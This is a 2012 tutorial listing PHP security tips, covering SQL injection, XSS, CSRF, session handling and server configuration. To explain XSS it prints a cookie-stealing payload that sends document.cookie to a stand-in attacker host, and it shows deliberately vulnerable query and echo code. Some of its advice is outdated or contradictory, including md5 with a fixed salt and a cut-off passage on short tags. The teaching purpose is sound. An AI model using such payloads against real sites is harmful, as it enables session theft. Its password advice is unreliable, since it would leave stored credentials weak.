15 个让PHP应用程序安全的技巧

11年前

The Code

1. Avoid short tags

If they are disabled on some server , then all of a sudden the whole php code will be displayed even before you are informed about it.

<?  $a = 5;  ?>

This will run fine when short codes are enabled, but when not, the whole code will be dumped to the browser.
As of php 5.4 the short echo tags (

Also enable short tags on your server.

2. Validate all user input

All input coming from the user , in the form of POST and GET must be validated to be acceptable by the application logic.

  • Check the 'type' of the data
  • Check range of numbers
  • Check length of strings
  • Check emails , urls , dates to be valid
  • Ensure that data does not contain unallowed characters.

Few functions to filter/validate data :

htmlentities()
strip_tags ()
utf8_decode ()
htmlspecialchars()
ctype_digit()
ctype_alnum()
stripslashes()
str_replace()

3. Escape query data

Escape all data that goes inside a query and for the better avoid direct sql queries in your application.
Use somekind of abstraction like activerecord etc.

One small sql injection vulnerability is enough to allow a hacker to completely take over the system. Tools like sqlmap take only a few minutes to this. So if there is even a single page with a sql injection vulnerability in the whole site for example

http://www.site.com/path/page.php?id=5

If the id is being used in an sql query and is not escaped, this is a door big enough to allow a hacker to do anything on your system using tools like sqlmap. So be very aware of sql queries and ensure everything is secure.
This is how a vulnerable sql query looks like

$id = $_GET['id'];  $this->db->query("SELECT * FROM pages WHERE id = '$id'");

The id parameter should be escaped by using appropriate functions like mysqli_real_escape_string() before putting them in the query.

4. Cross site scripting

Cross site scripting allows a hacker to inject client-side code in a webpage. For example take the url

search.php?term=ipad
<?php    $term = $_GET['term'];    ?>  <html>  <body>  Search results for : <?php echo $term; ?>  </body>  </html>

The above piece of code looks quite OK except that the user input in $term is being echoed directly back.
Consider the url

http://www.original_website.com/search.php?term=<script>alert('hi');</script>

The script tag will be echoed in the body and the code in it would be executed.

Recent versions of Google Chrome would block it saying "Refused to execute a JavaScript script. Source code of script found within request."

However firefox does execute it.

Now this kind of javascript code injection can be used to steal cookies. The hacker can first inject a complete script like this

<script type=text/javascript src="http://www.hacker_website.com/xss.js"></script>

Now the xss.js can have code to take away value of the document.cookie variable and send it to hacker_website.com

document.location = 'http://www.hacker_website.com/steal.php?cookies=' + encodeURI(document.cookie);

This is just a basic idea of how it works. Check http://ha.ckers.org/xss.html for a list of different techniques that are used.

Cookie stealing is not the only thing xss can be used for. It can be used to trigger a url on the original website as well. For example

<script type=text/javascript src="http://www.original_website.com/delete_content.php"></script>

That would launch the delete_content.php page and can do the needful without the user being aware of what happened. A hacker would first prepare a crafted url and then make the target/victim user click it. Once the victim clicks the url the xss hack is done.

So how to fix it ? Simple, just escape the html characters from any user input that is being echoed back using htmlentities.

<?php    $term = $_GET['term'];    ?>  <html>  <body>  Search results for : <?php echo htmlentities($term); ?>  </body>  </html>

Now whatever will be echoed from $term would not have any html code.
Other functions like strip_tags and htmlspecialchars can also be used to clean the input data.

Use session.cookie_httponly

This php.ini setting shall make the cookies inaccessible inside javascript and hence an automatic protection against xss attacks. This is not a complete solution since it depends on the browser whether it supports this option or not.

5. Always name your file as only .php

For example 'config.inc' contains

<?php    /*  Database connection details  */    $db_host = 'localhost';  $db_user = 'project';  $db_pass = 'secret';  $db_name = 'project_ecommerce';

Now if this file is opened in the browser, the contents will be displayed right away.
Hence never name your files to anything else except .php

6. Salt the passwords and use stronger encryption like bcrypt

Md5 is a very popular encryption algorithm/function being used by php developers. The md5 function gives the hash rightaway.

$hash = md5($password);

However md5 is not a fully secure way to store passwords. Most users tend to have a 5-6 character password, and whatever be the complexity of such a password, it can be easily cracked by just bruteforcing on a normal computer/pc. Moreover even bruteforcing might not be necessary, just typing the hash on google.com would reveal the password on some password cracking website. It is as simple as that. Although users are told to keep a strong password its not enough.

To overcome this problem developers often use "salt". The add some more text to the password before hashing it and then do the same when comparing user provided password.

 $salt = 'SUPER_SALTY';  $hash = md5($password . $salt);

Adding a salt increases the length of the password, and hence its complexity. So the time required for a brute force program to crack it increase by a huge span. The salt technique can be further improved by using a random salt everytime.

Along with salt, its a good practice to use a longer(slower) hash algorithm like sha1, sha2 etc. The slower the hashing algorithm, more the time required by a brute force program and hence better the strength.

Bcrypt encryption is even more complex than the sha algorithm and considered more secure. Check the php crypt function.

7. Protect against CSRF

CSRF stands for Cross Site Request Forgery. This is the most innocent kind of vulnerability since it does not appear like a problem at all. Lets say a certain url in the application performs some database changes

update_info.php?id=123
OR
delete_record.php?id=123

The problem with the above url is that, what if a hacker makes a legitimate user call such a url without the user actually noticing it.

A hacker can put the link in a img src on a webpage on his site "hackersite.com/interesting.html" and ask the user to open that website. Now since the user is logged onto the application, if he opens the hacker link it will also trigger the application url mentioned above. This is a request forgery.

So technically speaking the problem here is that the server is not able to identify if the user willingly called the url or not. Hence there needs to be a mechanism for this.

A simple way to verify this is by asking the user for double confirmation when doing major tasks.

A more robust and generic solution is to enable the server to identify each request with a key/random value. Forms can contain a hidden input field with a random value that was generated and saved in the session to identify this form submission. Now if a hacker tries to forge a request he would run out of the csrf key/token and his attempt to perform the request on behalf of the actual user would fail.

The Session

8. Regenerate Session ID

Regenerate the session id like this :

session_regenerate_id(); //changes only session id  //or  session_regenerate_id(true);

Session id should be regenerated atleast when

  • a user logs in
  • a user logs out
  • a user gets administrative access or change of privilege happens.
if(valid_username() and valid_password())  {      $_SESSION['logged'] = true;      $_SESSION['username'] = $username;  }

You may even want to regenerate session id every 15 minutes or every 100 requests ?

 session_start();    //increment and check  if ( ++$_SESSION['regenerated_count'] > 100 )   {      //reset and regenerate      $_SESSION['regenerated_count'] = 0;      session_regenerate_id(true);  }

9. Lock the user agent during a session

This can help prevent session hijacking. It is simply about checking if the user agent of a user changed or not. If it did , then logout the user and ask to login again.

 //Function to check if user is logged in or not  function check_login_status()  {      if($_SESSION['logged'] == true and $_SESSION['old_user_agent'] == $_SERVER['HTTP_USER_AGENT'])      {          return true;      }            return false;  }    if(!check_login_status())  {      logout();  }    //Rest of the login protected page

Or better

session_start();     $chk = @md5( $_SERVER['HTTP_ACCEPT_CHARSET'] . $_SERVER['HTTP_ACCEPT_ENCODING'] . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . $_SERVER['HTTP_USER_AGENT']);   if (empty($_SESSION))   {   $_SESSION['key'] = $chk;   }  else if ($_SESSION['key'] != $chk)   {   session_destroy();    }

Lock the IP of a session

If even stronger security is required , then the remote IP can be locked as well during a session.

 session_start();     $chk = @md5( $_SERVER['HTTP_ACCEPT_CHARSET'] . $_SERVER['HTTP_ACCEPT_ENCODING'] . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . $_SERVER['HTTP_USER_AGENT'] . $_SERVER['REMOTE_ADDR']);     if (empty($_SESSION))   {   $_SESSION['key'] = $chk;   }  else if ($_SESSION['key'] != $chk)   {   session_destroy();    }

10. Store sessions in database

By default sessions are stored in files. Many applications are hosted on shared hosting environments where the session files are saved to /tmp directory. Now this directory may be readable to other users. If unencrypted the session information will be plain text in the file :

userName|s:5:"ngood";accountNumber|s:9:"123456789";

There are many workarounds for this. Encrypt the session information with suhosin. Check out the Features.

Store sessions in database. Sessions stored inside database are not visible like files. They are only available to the application using it.

11. Force single session

If needed , make sure that a user is not logged in from 2 locations at a time. If another login takes place , then logout the previous login. This is useful on websites that exchange confidential data , for example an online shopping website.

This is easy to implemented when sessions are saved in database. Simply delete any previous login record of a username on every login.

The Setup

12. Make sure the database user does not have privileges to execute command or write to local filesystem

If there is an sql injection vulnerability somewhere in the website and the database user has write privileges, then this is sufficient for a hacker to take over the server completely just by using simple tool like sqlmap. So the permissions of the database user should be set according to needs.

13. Disable directory content listing

htaccess
Putting the following the .htaccess file shall disable directory listing.

Options -Indexes

use index.html file

If the server does not allow this, then the easiest way is to put a dummy index.html file in all directories.
So that when directory path is accessed, the index.html will open up.

14. Keep resources outside WEB_ROOT

When hosting applications on a server , the path is generally like this :

/var/www/
OR
/home/username/www/

All web content is kept inside www , then only it is accessible on a website. But those contents which are not meant to be directly accessible from a url , can be kept outside the /www.

For example uploaded images , or resource files , or files containing database connection parameters or anything.

php files to be called by browser in
/var/www/

Other resource files in
/var/outside/

By doing this the files automatically become invisible to outside world even if directory listing is enabled.

15. Disable display_errors in your php.ini file

Do not wait to turn off display_errors in your php script using ini_set or htaccess or anything similar.
Errors that occur before execution starts shall not obey any script rules and would be displayed right away. Hence display of errors should be disabled right in the php.ini file in production environment.

16. Setup correct directory permissions in the production environment

Directories should have proper permissions with regard to the need of being writable or not. Keep a separate directory for temp files, cache files and other resource files and mark them writable as needed. Everything else like the directory containing core application code, library files etc should be unwritable.

Resources

1. http://phpsec.org/projects/guide/
2. http://en.wikipedia.org/wiki/Session_fixation
3. http://www.slideshare.net/jikbal/web-application-security-with-php
4. http://www.sk89q.com/2010/04/printable-php-security-checklist/

Last Updated On : 19th September 2012